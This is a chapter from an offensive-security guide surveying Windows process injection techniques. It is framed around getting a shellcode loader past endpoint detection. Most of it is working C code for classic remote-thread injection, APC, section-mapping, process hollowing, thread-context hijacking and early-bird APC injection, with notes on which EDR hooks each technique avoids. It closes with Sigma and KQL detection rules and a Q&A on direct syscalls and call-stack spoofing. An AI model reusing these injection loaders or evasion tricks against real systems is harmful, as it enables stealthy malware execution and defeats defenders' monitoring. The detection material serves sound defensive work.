Process Injection Techniques Survey
Process injection places shellcode or DLLs into memory of a running host process so that execution appears to originate from a legitimate, signed binary. This chapter surveys the most operationally relevant injection primitives — from the original VirtualAllocEx/WriteProcessMemory pattern through APC queuing, section mapping, process hollowing, thread context hijacking, and early-bird — with full working code for each and specific EDR evasion tradeoffs for each approach.
Your shellcode loader is flagged the moment it allocates RWX memory in a remote process. You need to compare injection primitives: which ones create the fewest suspicious memory regions, which avoid the WriteProcessMemory syscall entirely, which survive when kernel32.dll is hooked, and which are most reliably detected regardless. You need an accurate threat model to choose the right technique for the target environment's EDR.
Injection Taxonomy
Classic: VirtualAllocEx + WriteProcessMemory
// Classic injection — baseline to understand what EDRs catch
#include <windows.h>
#include <stdio.h>
BOOL ClassicInject(DWORD pid, PBYTE shellcode, SIZE_T size) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) return FALSE;
// EDR hook point 1: VirtualAllocEx → NtAllocateVirtualMemory
LPVOID remote = VirtualAllocEx(hProc, NULL, size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE); // RWX — flagged
if (!remote) { CloseHandle(hProc); return FALSE; }
// EDR hook point 2: WriteProcessMemory → NtWriteVirtualMemory
SIZE_T written = 0;
WriteProcessMemory(hProc, remote, shellcode, size, &written);
// EDR hook point 3: CreateRemoteThread → NtCreateThreadEx
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remote,
NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProc);
return TRUE;
}
// Better: allocate RW, write, then change to RX — fewer RWX alerts
// VirtualAllocEx(PAGE_READWRITE) → WriteProcessMemory → VirtualProtectEx(PAGE_EXECUTE_READ)
APC Injection
// APC injection: queue shellcode to be executed when the target thread
// enters an alertable wait (SleepEx, WaitForSingleObjectEx, etc.)
BOOL ApcInject(DWORD pid, PBYTE shellcode, SIZE_T size) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProc) return FALSE;
LPVOID remote = VirtualAllocEx(hProc, NULL, size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READ); // RX after write
// First allocate RW, write, then flip to RX:
LPVOID rw = VirtualAllocEx(hProc, NULL, size,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, rw, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(hProc, rw, size, PAGE_EXECUTE_READ, &old);
// Enumerate threads in target process, queue to each
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) };
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID != pid) continue;
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE,
te.th32ThreadID);
if (hThread) {
// EDR hook point: QueueUserAPC → NtQueueApcThread
QueueUserAPC((PAPCFUNC)rw, hThread, (ULONG_PTR)NULL);
CloseHandle(hThread);
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
CloseHandle(hProc);
return TRUE;
}
// Limitation: target thread MUST enter alertable wait before APC executes.
// Not all threads do. Queue to all threads → at least one probably will.
// Chrome, Firefox, svchost-based processes have alertable threads.
NtMapViewOfSection — Shared Memory Injection
// NtMapViewOfSection: creates a section (shared memory object), maps it
// into injector AND target, writes shellcode locally, target sees it without
// WriteProcessMemory — no cross-process write syscall to hook
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI *pfnNtCreateSection)(PHANDLE, ACCESS_MASK,
POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS (NTAPI *pfnNtMapViewOfSection)(HANDLE, HANDLE,
PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T,
DWORD, ULONG, ULONG);
BOOL SectionInject(DWORD pid, PBYTE shellcode, SIZE_T size) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
auto NtCreateSection = (pfnNtCreateSection)
GetProcAddress(hNtdll, "NtCreateSection");
auto NtMapViewOfSection = (pfnNtMapViewOfSection)
GetProcAddress(hNtdll, "NtMapViewOfSection");
HANDLE hSection = NULL;
LARGE_INTEGER maxSize = { .QuadPart = (LONGLONG)size };
// Create anonymous section (PAGE_EXECUTE_READWRITE — will be split on map)
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL,
&maxSize, PAGE_EXECUTE_READWRITE,
SEC_COMMIT, NULL);
// Map RW into OUR process to write shellcode
PVOID localView = NULL; SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &localView,
0, 0, NULL, &viewSize, 1/*ViewShare*/,
0, PAGE_READWRITE);
memcpy(localView, shellcode, size);
// Map RX into TARGET process — no WriteProcessMemory needed
HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION|PROCESS_CREATE_THREAD, FALSE, pid);
PVOID remoteView = NULL; viewSize = 0;
NtMapViewOfSection(hSection, hProc, &remoteView,
0, 0, NULL, &viewSize, 1,
0, PAGE_EXECUTE_READ); // RX on remote side
// Trigger with CreateRemoteThread pointing at remoteView
HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteView, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread); CloseHandle(hSection); CloseHandle(hProc);
return TRUE;
}
// EDR impact: NtMapViewOfSection call in remote process is still visible via ETW.
// But no NtWriteVirtualMemory → some userland hooks never fire.
// Memory region is section-backed — looks different from a heap alloc in VAD.
Process Hollowing
// Process Hollowing: create a legitimate process SUSPENDED,
// unmap its image, write shellcode in its place, resume.
// Host process name = legitimate binary. Module list = legitimate.
// Downside: hollow PE must match required import table or will crash.
// Simplified outline — full implementation requires PE parser
BOOL Hollow(const char* hostPath, PBYTE payload, SIZE_T payloadSize) {
STARTUPINFOA si = {0}; si.cb = sizeof(si);
PROCESS_INFORMATION pi = {0};
// Step 1: Create host process suspended
CreateProcessA(hostPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Step 2: Read remote PEB to find ImageBaseAddress
PROCESS_BASIC_INFORMATION pbi = {0};
NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);
PVOID imageBase; SIZE_T rd;
ULONG_PTR pebBase = (ULONG_PTR)pbi.PebBaseAddress;
ReadProcessMemory(pi.hProcess, (LPCVOID)(pebBase + 0x10),
&imageBase, sizeof(imageBase), &rd);
// Step 3: Unmap original image
NtUnmapViewOfSection(pi.hProcess, imageBase);
// Step 4: Allocate at same preferred base and copy PE headers + sections
// (requires PE parser — omitted for brevity; see ch113 PE manipulation)
LPVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
payloadSize, MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payload, payloadSize, NULL);
// Step 5: Patch PEB.ImageBaseAddress with new base
WriteProcessMemory(pi.hProcess, (LPVOID)(pebBase + 0x10),
&newBase, sizeof(newBase), NULL);
// Step 6: Fix thread context EIP/RIP to new entry point
CONTEXT ctx = {0}; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD64)newBase + /* RVA entry point */ 0x1000;
SetThreadContext(pi.hThread, &ctx);
// Step 7: Resume — payload runs as if it were the host process
ResumeThread(pi.hThread);
return TRUE;
}
// Detection: NtUnmapViewOfSection on own image base is rare and suspicious.
// PEB.ImageBaseAddress != loaded module base → scanner alert.
// Memory type: MEM_PRIVATE where MEM_IMAGE expected for a PE entry point.
Thread Context Hijacking
// Thread hijacking: suspend an existing thread, redirect its RIP to shellcode,
// resume. No new thread created — blends into existing thread count.
BOOL ThreadHijack(DWORD tid, PBYTE shellcode, SIZE_T size) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
SuspendThread(hThread);
CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };
GetThreadContext(hThread, &ctx);
// Save original RIP — we need a ret stub so the thread continues normally
DWORD64 origRip = ctx.Rip;
// Allocate shellcode in the process (need handle to owning process)
DWORD pid; GetProcessIdOfThread(hThread, &pid);
HANDLE hProc = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, pid);
LPVOID remote = VirtualAllocEx(hProc, NULL, size+16,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Append: push origRip; ret — so after shellcode, thread returns to orig code
BYTE stub[12] = {
0x68, // push low 32 of origRip
(BYTE)(origRip),
(BYTE)(origRip >> 8),
(BYTE)(origRip >> 16),
(BYTE)(origRip >> 24),
0xC7, 0x44, 0x24, 0x04, // mov [rsp+4], high32
(BYTE)(origRip >> 32),
(BYTE)(origRip >> 40),
0xC3 // ret
};
BYTE buf[8192];
memcpy(buf, shellcode, size);
memcpy(buf+size, stub, sizeof(stub));
WriteProcessMemory(hProc, remote, buf, size+sizeof(stub), NULL);
ctx.Rip = (DWORD64)remote;
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
CloseHandle(hThread); CloseHandle(hProc);
return TRUE;
}
// Risk: if shellcode crashes, the legitimate thread is destroyed — app crash.
// Detection: GetThreadContext + SetThreadContext on a remote thread is unusual.
// SetThreadContext is a notable telemetry event in EDR.
Early Bird APC Injection
// Early Bird: create process suspended, inject APC before any thread code runs.
// Key advantage: thread's APC queue is processed BEFORE the main thread ever
// executes a single instruction. By the time any user-mode hook is installed
// (DLL injection hooks, IFEO debugger hooks), shellcode already ran.
BOOL EarlyBirdInject(const char* hostPath, PBYTE shellcode, SIZE_T size) {
STARTUPINFOA si = {0}; si.cb = sizeof(si);
PROCESS_INFORMATION pi = {0};
// Create host process SUSPENDED — no code runs yet
CreateProcessA(hostPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Allocate RW, write shellcode, flip to RX
LPVOID remote = VirtualAllocEx(pi.hProcess, NULL, size,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, remote, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(pi.hProcess, remote, size, PAGE_EXECUTE_READ, &old);
// Queue APC to the newly created (suspended) main thread
QueueUserAPC((PAPCFUNC)remote, pi.hThread, 0);
// Resume — thread will process APC queue before running main image code
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
return TRUE;
}
// Why it beats hooks: EDR hooks are placed when the DLL is loaded.
// The DLL is loaded by ntdll's LdrInitializeThunk — BUT APC fires in
// NtTestAlert which is called even before LdrInitializeThunk runs fully
// in some implementations. Timing depends on OS version and EDR product.
// Early bird is still detected by kernel ETW callbacks — just bypasses
// userland hook instrumentation.
Technique Comparison Table
| Technique | Trigger | WPM needed? | New thread? | EDR detection difficulty | Stability |
|---|---|---|---|---|---|
| Classic VirtualAllocEx + CRT | New thread | Yes | Yes | Easy (multiple hooks) | High |
| APC into existing thread | Alertable wait | Yes | No | Medium | Medium (needs alertable) |
| NtMapViewOfSection + CRT | New thread | No (local write) | Yes | Medium-Hard | High |
| Process Hollowing | Resumed thread | Yes | No | Hard (no CRT) | Medium (PE compat needed) |
| Thread Context Hijack | Existing thread | Yes | No | Medium (SetThreadContext) | Low (can crash) |
| Early Bird APC | Before LDR hooks | Yes | No (reuses main) | Hard (timing) | High |
Detection Engineering
title: Remote Thread Created in Target Process
logsource:
product: windows
category: create_remote_thread
detection:
selection:
TargetImage|endswith:
- '\svchost.exe'
- '\explorer.exe'
- '\notepad.exe'
- '\RuntimeBroker.exe'
filter_known:
SourceImage|contains:
- '\AV_vendor\'
- '\AntiVirus\'
condition: selection AND NOT filter_known
level: high
tags: [attack.defense_evasion, T1055]
title: Private RWX Memory in Remote Process (Hollowing Indicator)
logsource:
product: windows
category: driver_load # or sysmon event 10 + custom ETW
detection:
selection:
EventID: 10 # Sysmon: Process Access
GrantedAccess: '0x1FFFFF'
CallTrace|contains: 'UNKNOWN' # unbacked region in call stack
condition: selection
level: high
-- MDE KQL: detect process with private+execute regions (hollowing / injection)
-- Requires DefenderATP Advanced Hunting with DeviceMemoryEvents
DeviceMemoryEvents
| where ActionType == "RemoteAllocateVirtualMemory"
| where MemoryType == "Private"
| where MemoryProtection has_any ("Execute", "ExecuteRead", "ExecuteReadWrite")
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "MsSense.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
TargetProcessFileName = ProcessFileName,
MemoryProtection, MemorySize, InitiatingProcessCommandLine
| order by Timestamp desc
Q&A
Why does direct syscall bypass userland hooks, and what can EDRs do to detect it anyway?
EDR userland hooks work by replacing the first bytes of NTDLL stub functions (e.g., NtAllocateVirtualMemory) with a jump to the EDR's DLL. When a process calls VirtualAllocEx, it eventually calls the NTDLL stub, which jumps to the EDR, which inspects arguments, then jumps back to the original stub to make the actual syscall. The hook sits entirely in user space, in the NTDLL mapping of the target process.
Direct syscall bypasses this by never calling through the NTDLL stub at all. Instead, the malware finds the syscall number (SSN) for the desired system call either by parsing the NTDLL export table and reading the mov eax, SSN instruction at the beginning of each stub, or by using a hardcoded SSN for a known Windows version. It then executes its own syscall instruction inline, jumping directly from user mode to kernel mode without passing through the hooked stub. The EDR hook never fires because the jump to it never happens.
EDRs have multiple responses to this. Kernel ETW (EtwTi): the Windows kernel emits telemetry on sensitive operations through ETW-TI (Threat Intelligence) callbacks — these fire in kernel mode, cannot be bypassed by user-mode tricks, and capture operations like memory allocation and thread creation. PsSetCreateProcessNotifyRoutine / PsSetCreateThreadNotifyRoutine: kernel callbacks on process and thread creation also can't be bypassed by SSN tricks. Call stack analysis: when a syscall originates from a non-NTDLL address (from the malware's own allocated shellcode), the kernel can detect that the return address is in an unbacked private memory region rather than ntdll.dll. Some EDRs implement "call stack spoofing" detection precisely because of this. The arms race has therefore moved: attackers now combine direct syscalls with call stack spoofing (placing synthetic NTDLL frames on the stack before the syscall) to defeat call-stack validation, pushing the detection problem back to kernel ETW again.